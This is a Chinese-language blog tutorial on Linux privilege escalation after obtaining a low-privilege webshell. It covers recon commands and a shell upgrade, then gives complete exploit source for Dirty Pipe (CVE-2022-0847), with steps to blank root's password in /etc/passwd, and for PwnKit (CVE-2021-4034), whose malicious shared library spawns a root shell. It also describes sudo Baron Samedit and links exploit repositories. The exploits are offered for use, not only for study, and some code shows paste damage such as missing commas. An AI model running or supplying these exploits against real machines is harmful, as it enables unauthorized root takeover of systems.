脏牛/脏管道/Polkit/sudo堆溢出提权-深入细化的Linux提权大法-[上]
2023-1-6 00:33:24 Author: 猫哥的秋刀鱼回忆录(查看原文) 阅读量:188 收藏

前言

我们梳理一下开始前的流程:在拿到一个shell之后,发现一看不出意外绝逼是低权限的,因为一般我们拿到的webshell都是网站中间件的权限(www-data)。for example:比如你想抢银行,提权就意味着你已经把金库管理员控制了,拿到钱是脱了裤子-迟早的事。没提权就意味着你还在柜台呢,想拿钱且等吧!可能比喻不太恰当哈哈,提权也就是提升自己在服务器中的权限,目的就是获取系统最高管理权限,比如windows从普通用户到Administrator一样权限。总之提权正是因为你没这个权限干你想要的事,所以要提权。好在我们的重点是Linux提权。

初步的系统信息分析

初步拿到一个shell之后,基本就可以确定我们接下来要进行试探性的收集系统信息了,下面是一些基本的命令:

uname -a   查看内核/操作系统/cpu信息

cat /proc/version  查看系统信息

hostname  查看计算机名

env  查看环境变量

ifconfig  查看网卡

netstat -lntp  查看所有正在监听的端口

netstat -antp  查看所有已经建立的连接

netstat -s    查看网络统计信息

iptables -L 查看防火墙设置

route -n   查看路由表

ps -ef  查看所有进程

top  实时显示进程状态

w   查看活动用户

id   查看指定用户信息

last   查看用户登录日志

cut -d: -f1 /etc/passwd  查看系统所有用户

cut -d: -f1 /etc/group    查看系统所有组

echo $PATH  查看系统路径

值得我们注意的是,这些Linux命令并不是说必须死记硬背的,可以在一些拓展/备忘录/网站进行查询

优化交互式命令行

通过python调用本地shell实现交互式命令行这个我觉得是个老生常谈的事儿了,不再多说

python -c 'import pty;pty.spawn("/bin/bash")' 
python3 -c 'import pty;pty.spawn("/bin/bash")'

Linux 内核提权

实验测试靶机信息:

Linux kali 5.10.0-kali9-amd64  #1 SMP Debian 5.10.46-4kali1 (2021-08-09) x86_64 GNU/Linux

Kernel version: 5.10.0
内核版本:5.10.0
Architecture: x86_64
建筑:x86_64
Distribution: debian
发行: debian
Distribution version: 2021.3
发行版本:2021.3
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
其他检查(CONFIG_*、sysctl 条目、自定义 Bash 命令):已执行
Package listing: from current OS
软件包列表:从当前操作系统

通用思路就是:假如要利用堆栈溢出漏洞提权,根据当前系统信息去寻找对应的漏洞的exp,使用exp对其进行提权即可,我在这里也要给大家介绍介绍比较新的一些Linux通杀提权方法。因为闲客师傅比较帅,我们就按照他说的这些来给大家介绍。

实际上比如这些咋们就挑几个比较好用的来说:

  • [CVE-2022-2586] nft_object UAF

  • [CVE-2022-0847] DirtyPipe

  • [CVE-2021-4034] PwnKit

  • [CVE-2021-3156] sudo Baron Samedit

  • [CVE-2021-3156] sudo Baron Samedit 2

  • [CVE-2021-22555] Netfilter heap out-of-bounds write

  • [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)


脏牛提权 CVE-2016-5195

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取  其他只读内存映射的写权限,进一步获取 root 权限。这个脏牛可以说也是linux提权的往期老大哥了,地位很高,但是我们本文不说,今天把他放在这就是为了当排面。

脏管道提权 CVE-2022-0847

2022年2月23日,Linux 内核发布漏洞补丁,修复了内核 5.8 及之后版本存在的任意文件覆盖的漏洞 (CVE-2022-0847),该漏洞可导致普通用户本地提权至 root 特权,因为与之前出现的 DirtyCow “脏牛”漏洞 (CVE-2016-5195) 原理类似,该漏洞被命名为 DirtyPipe。在3月7日,漏洞发现者 Max Kellermann 详细披露了该漏洞细节以及完整POC。参见:《The Dirty Pipe Vulnerability》:https://dirtypipe.cm4all.com/Paper 中不光解释了该漏洞的触发原因,还说明了发现漏洞的故事, 以及形成该漏洞的内核代码演变过程, 非常适合深入研究学习。

影响版本

5.8 <= Linux内核版本 < 5.16.11 / 5.15.25 / 5.10.102

该漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 中修复,不影响 5.17-rc6 之后的 Linux 内核版本。

POC&EXP

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */

static void prepare_pipe(int p[2])
{
 if (pipe(p)) abort();

 const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
 static char buffer[4096];

 /* fill the pipe completely; each pipe_buffer will now have
    the PIPE_BUF_FLAG_CAN_MERGE flag */

 for (unsigned r = pipe_size; r > 0;) {
  unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  write(p[1], buffer, n);
  r -= n;
 }

 /* drain the pipe, freeing all pipe_buffer instances (but
    leaving the flags initialized) */

 for (unsigned r = pipe_size; r > 0;) {
  unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  read(p[0], buffer, n);
  r -= n;
 }

 /* the pipe is now empty, and if somebody adds a new
    pipe_buffer without initializing its "flags", the buffer
    will be mergeable */

}

int main(int argc, char **argv)
{
 if (argc != 4) {
  fprintf(stderr"Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
  return EXIT_FAILURE;
 }

 /* dumb command-line argument parser */
 const char *const path = argv[1];
 loff_t offset = strtoul(argv[2], NULL0);
 const char *const data = argv[3];
 const size_t data_size = strlen(data);

 if (offset % PAGE_SIZE == 0) {
  fprintf(stderr"Sorry, cannot start writing at a page boundary\n");
  return EXIT_FAILURE;
 }

 const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
 const loff_t end_offset = offset + (loff_t)data_size;
 if (end_offset > next_page) {
  fprintf(stderr"Sorry, cannot write across a page boundary\n");
  return EXIT_FAILURE;
 }

 /* open the input file and validate the specified offset */
 const int fd = open(path, O_RDONLY); // yes, read-only! :-)
 if (fd < 0) {
  perror("open failed");
  return EXIT_FAILURE;
 }

 struct stat st;
 if (fstat(fd, &st)) {
  perror("stat failed");
  return EXIT_FAILURE;
 }

 if (offset > st.st_size) {
  fprintf(stderr"Offset is not inside the file\n");
  return EXIT_FAILURE;
 }

 if (end_offset > st.st_size) {
  fprintf(stderr"Sorry, cannot enlarge the file\n");
  return EXIT_FAILURE;
 }

 /* create the pipe with all flags initialized with
    PIPE_BUF_FLAG_CAN_MERGE */

 int p[2];
 prepare_pipe(p);

 /* splice one byte from before the specified offset into the
    pipe; this will add a reference to the page cache, but
    since copy_page_to_iter_pipe() does not initialize the
    "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */

 --offset;
 ssize_t nbytes = splice(fd, &offset, p[1], NULL10);
 if (nbytes < 0) {
  perror("splice failed");
  return EXIT_FAILURE;
 }
 if (nbytes == 0) {
  fprintf(stderr"short splice\n");
  return EXIT_FAILURE;
 }

 /* the following write will not create a new pipe_buffer, but
    will instead write into the page cache, because of the
    PIPE_BUF_FLAG_CAN_MERGE flag */

 nbytes = write(p[1], data, data_size);
 if (nbytes < 0) {
  perror("write failed");
  return EXIT_FAILURE;
 }
 if ((size_t)nbytes < data_size) {
  fprintf(stderr"short write\n");
  return EXIT_FAILURE;
 }

 printf("It worked!\n");
 return EXIT_SUCCESS;
}

首先gcc编译payload为可执行文件

然后以root权限创建一个test.txt文件里面的内容都为fuckyou

借助 poc 程序以 kali 普通 shell 用户的身份对属主为 root 的文件进行了覆写修改

发现覆写修改成功则证明了存在漏洞

借助上述 poc,接下来我们对 /etc/passwd 文件进行覆写,修改 root 用户的密码使之为空,从而实现提权(su root命令无需输入密码)

原始 cat /etc/passwd 文件内容

/etc/passwd 各列的字段的含义依次为:

其中第二列的密码占位符如果为 x 则表示该账户需要密码才能登录,为空则账户无须密码即可登录。

root::0:0:root:/root:/usr/bin/zsh

覆写 /etc/passwd 文件,将 root 用户的密码占位符由 x 置为空,从而进行提权(再次切换 root 用户可以免密切换)

如图所示,我们直接用EXP淦就完事了

EXP地址:https://github.com/r1is/CVE-2022-0847

检查利用工具:https://github.com/liamg/traitor

原理&管道&参考

[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析:https://blog.csdn.net/Breeze_CAT/article/details/123393188

大白话图解 Linux 脏管道(Dirty Pipe) 漏洞(CVE-2022-0847):https://blog.csdn.net/weixin_44820088/article/details/123364275

图解 | Linux进程通信 - 管道实现 :https://zhuanlan.zhihu.com/p/415793074

Linux下IPC方式之管道(pipe,fifo):https://blog.csdn.net/weixin_41969690/article/details/107023756

Polkit提权 CVE-2021-4034

在polkit的pkexec工具上发现了一个本地权限升级的漏洞。pkexec应用程序是一个setuid工具,提供了一个授权 API,  允许非特权用户根据预定义的策略作为特权用户运行命令,  作用有点类似于sudo。有漏洞的pkexec没有正确处理调用参数计数,最后导致将环境变量作为命令执行(特权用户身份执行)。攻击者可以利用这一点,通过制作环境变量的方式,诱使pkexec执行任意代码。当成功执行后,攻击者可以在目标机器上给非特权用户以管理权限(root),从而导致本地权限升级。

影响版本

2009年5月至今发布的所有 Polkit 版本均可使用漏洞。由于为系统预装工具,目前存在Polkit的Linux系统均受影响

安全版本

CentOS系列:

  • CentOS 6:polkit-0.96-11.el6_10.2
  • CentOS 7:polkit-0.112-26.el7_9.1
  • CentOS 8.0:polkit-0.115-13.el8_5.1
  • CentOS 8.2:polkit-0.115-11.el8_2.2
  • CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu系列:

  • Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
  • Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
  • Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
  • Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1

POC&EXP

这里我们直接使用最易上手的EXP来实验发现提权成功

后面引用h0cksr师傅的文章作为漏洞分析部分:https://www.cnblogs.com/h0cksr/p/16189744.html

原理&分析

plokit基本组成

在了解这个漏洞前先看看plokit架构的一些组成部分方便了解pkexec的作用,在这里用引用一下大佬的文章:

polkit— 授权管理器

polkitd— polkit 系统守护进程

pkcheck— 检查一个进程是否被授权

pkaction— 获取有关已注册操作的详细信息

pkexec— 以另一个用户身份执行命令

pkttyagent— 文本认证助手

数组溢出

首先要知道当我们在bash中调用一个程序的时候即使我们没有输入任何参数在argv中也会有一个默认的参数argv[0]表示当前程序所在路径, 这时argc的值为1, 就是说正常情况下我们使用pkexec的时候再其函数内部argc的值至少也为1。所以在程序编写的时候有一个读取argv参数的for循环是根据argc来进行参数获取的。for循环代码为:

for(n = 1; n<(guint)argc; n++)       #注意此时n=1,正常情况下无参数时argc=1
{
    if(strcmp(argv[n], "--help") == 0)
    {
        opt_show_help = TRUE;
    }
    else if(strcmp(argv[n], "--version") == 0)
    {
        opt_show_version = TRUE;
    }
    else if(...)
    {
        其它的一些参数设置
    }
    else
    {
        break;
    }
    
}

...其它的一些判断help和version参数的语句, 不改变n的值
path = g_strdup(argv[n]);        #正常情况下没参数就是获取到argv[1]

我们看以上代码的逻辑是没有问题的, 默认情况下无参数时argc = 1 , 同时argc 也是argv数组的大小范围。但是当我们在程序中使用execve()执行pkexec时如果传入的args参数和environ参数均为数组为{NULL}, 那么就会导致pkexe内的argc参数值为0。这时候我们再回到源码中看一下,

是进入for循环:
n=1
n<(guint)argc  
判断发现 (n=1 > argc=0) 条件不满足,退出循环
...执行其它一些不会改变n值的代码
path = g_strdup(argv[n]); 
实际执行path = g_strdup(argv[1])

可以看到, 当我们使用execve函数执行pkexec的时候会导致pkexec内部执行代码:g_strdup(argv[1]) 但是我们上面说过, argv数组的大小取决于argc ,但是此时argc = 0 , 所以就导致了数组越界问题。

那么我们获得的argv[1]是什么呢?

|---------+---------+-----+------------|---------+---------+-----+------------| 
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL

这个就是argv的存储结构, 可以看到后面接着的是envp变量数组, 这个数组就是我们上面提到的execve函数的第二个参数environ , 这个是环境变量参数, 使用execve运行pkexe时envp[0]的值为pwnkit.so:. 并且会在当前目录下创建一个名为GCONV_PATH=.的文件夹并且在文件夹下创建一个名为pwnkit.so:.的文件。

那么我们继续回到程序代码中看看接下来执行那些内容:

g_assert (argv[argc] == NULL);
path = g_strdup(argv[n]);
if(path == NULL)
{
    usage(argc, argv);
    goto out;
}
if(path[0] != '/')
{
    s = g_find_program_in_path (path);
    if(s == NULL)
    {
        g_printerr(...);
        goto out;
    }
    g_free(path);
    argv[n] = path = s;
}
....

可以看到代码进行了如下操作流程(GLib ->find_program_in_path函数解释):

1. 执行path=g_strdup(argv[n])越界读取到envp[0] = pwnkit.so:.
path = 'pwnkit.so:.'

2. if判断发现首字符并不是`/`然后进入if判断语句中

3. 执行s = g_find_program_in_path (path); 
建立文件夹'GCONV_PATH=.'然后在里面生成文件'pwnkit.so:.'然后返回地址'GCONV_PATH=./pwnkit.so'

4. ...

5. 执行argv[1] = path = s;
所以此时argv[1]被赋值为'GCONV_PATH=./pwnkit.so'

前面有说道, argv[1]其实就是环境变量数组中的envp[0], 所以就是写入了一个环境变量GCONV_PATH,。

但是这有什么用呢?

利用数组溢出设置环境变量加载so文件

在这里我们先了解一下漏洞的最后几步的利用原理就可以明白GCONV_PATH这个环境变量的关键了:

exp利用g_printerr打印错误信息时特殊的执行流程进行getshell。

  • 当Linux中CHARSET不是设置为UTF-8格式,则会调用iconv,用于将文本从一种编码转化为另一种编码。
  • 在调用iconv之前需要通过执行iconv_open函数分配转化描述符号。
  • iconv_open函数的执行会受到GCONV_PATH环境变量影响:
    • GCONV_PATH未设置,那么iconv_open会加载系统默认的模块配置的缓存文件(默认的配置文件位于/usr/lib/gconv/gconv-modules)。
    • GCONV_PATH被设置,则会优先加载设置路径下的配置文件(例如/tmp/exp.so)。

通过上面流程可以看到我们是利用了一个数组溢出的漏洞去达到设置变量的目的, 然后尝试利用g_printerr函数打印错误信息的一些特征通过间接触发最后执行自行编译的.so文件中的恶意代码。

但是真的那么简单嘛?

并不是, 这个GCONV_PATH参数并不是任由我们随意更改的。linux的动态链接器会在特权程序执行的时候清除危险的环境变量,因此使用execve启动pkexec时,即使设置了GCONV_PATH也会被连接器清除。测试可以在本地设置一个文件为具有suid的可执行文件file1用于输出全部的环境变量, 然后再创建一个可执行文件file用来通过execve执行具有suid权限的file1, 并且将execve函数的第三个参数environ数组中加入GCONV_PATH这个变量。但是在执行file2的时候可以看到并没有GCONV_PATH变量输出, 就是因为这个变量被动态链接器删除了。

所以我们的数组溢出漏洞的作用就是为了绕过动态链接器的清除功能设置了GCONV_PATH=./pwnkit.so这个环境变量, 所以我们只要让pkexec使用g_printerr打印错误信息即可达到我们的目的: 加载当前目录下的pwnkit.so文件

因为pkexec具有suid权限, 所以就可以让我们的pwnkit.so文件中的恶意代码以root权限执行并且返回一个root的shell。

源码解析

我们看一下上面工具中的源码:

CVE-2021-4034/Makefile

CFLAGS=-Wall
TRUE=$(shell which true)

.PHONY: all
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath

.PHONY: clean
clean:
rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
make -C dry-run clean

gconv-modules:
echo "module UTF-8// PWNKIT// pwnkit 1" > [email protected]

.PHONY: gconvpath
gconvpath:
mkdir -p GCONV_PATH=.
cp -f $(TRUE) GCONV_PATH=./pwnkit.so:.

pwnkit.so: pwnkit.c
$(CC) $(CFLAGS) --shared -fPIC -o [email protected] $<

.PHONY: dry-run
dry-run:
make -C dry-run

CVE-2021-4034/cve-2021-4034.c

#include <unistd.h>

int main(int argc, char **argv)
{
 char * const args[] = {
  NULL
 };
 char * const environ[] = {
  "pwnkit.so:.",
  "PATH=GCONV_PATH=.",
  "SHELL=/lol/i/do/not/exists",
  "CHARSET=PWNKIT",
  "GIO_USE_VFS=",
  NULL
 };
 return execve("/usr/bin/pkexec", args, environ);
}

CVE-2021-4034/pwnkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv(void) {
}

void gconv_init(void *step)
{
 char * const args[] = { "/bin/sh"NULL };
 char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin"NULL };
 setuid(0);
 setgid(0);
 execve(args[0], args, environ);
 exit(0);
}

gconv-modules

module UTF-8// PWNKIT// pwnkit 1
分析

pwnkit.c

就是单纯以root身份反弹得到一个shell

cve-2021-4034.c

为了满足我们一开始提到的数组溢出, args[]数组肯定为空了

	char * const environ[] = {
"pwnkit.so:.", //这个是什么我也没整明白
"PATH=GCONV_PATH=.", //要注入的环境变量(GCONV_PATH=.)
"SHELL=/lol/i/do/not/exists", //无效的shell触发g_printerr函数打印错误信息
"CHARSET=PWNKIT", //gconv-modules指定的字符集(指定加载的.so文件在这里设置)
"GIO_USE_VFS=", //运行pkexec的必须设置
NULL //环境变量数组envp是以NULL结束
};

代码不多原理也很明了就不多说了, 详细的还是直接从这里直接偷张图吧,  图中的源码exploit.c并不是我上面的演示工具里面的代码, 可见PwnKit-Exploit

参考文章:

https://zhuanlan.zhihu.com/p/462668954

https://blog.csdn.net/weixin_43938645/article/details/127924107

sudo堆溢出提权CVE-2021-3156

2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

影响版本

  • sudo 1.8.2 - 1.8.31p2
  • sudo 1.9.0 - 1.9.5p1

很显然我们是不能在此版本提权的

why?因为版本受到限制了呗,有兴趣实验的可以找个ubuntu降级sudo试试

参考&原理

https://www.cnblogs.com/bugxf/p/16014940.html

https://blog.csdn.net/weixin_46483787/article/details/125552056

结束语

我们这篇基本就是介绍了一些关于比较时新的提权漏洞的利用,剩下的两篇我会给大家说关于常见提权常见的一些思路和知识点,比如suid提权,passwd提权,计划任务弹shell提权,sudo提权,docker提权,环境劫持,ssh密钥提权等等等等一些比较基础的思路。提权也是比较有意思的,但是对于内核漏洞的挖掘也绝非我等jb小子所能及。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247498251&idx=1&sn=eb090a32591fcd7056a740f08e26187e&chksm=c3056f8cf472e69ab4179b953ccd998b441d1ecc1ce5acc87e64fe02c8110e6bd93ae8bf1f6a#rd
如有侵权请联系:admin#unsafe.sh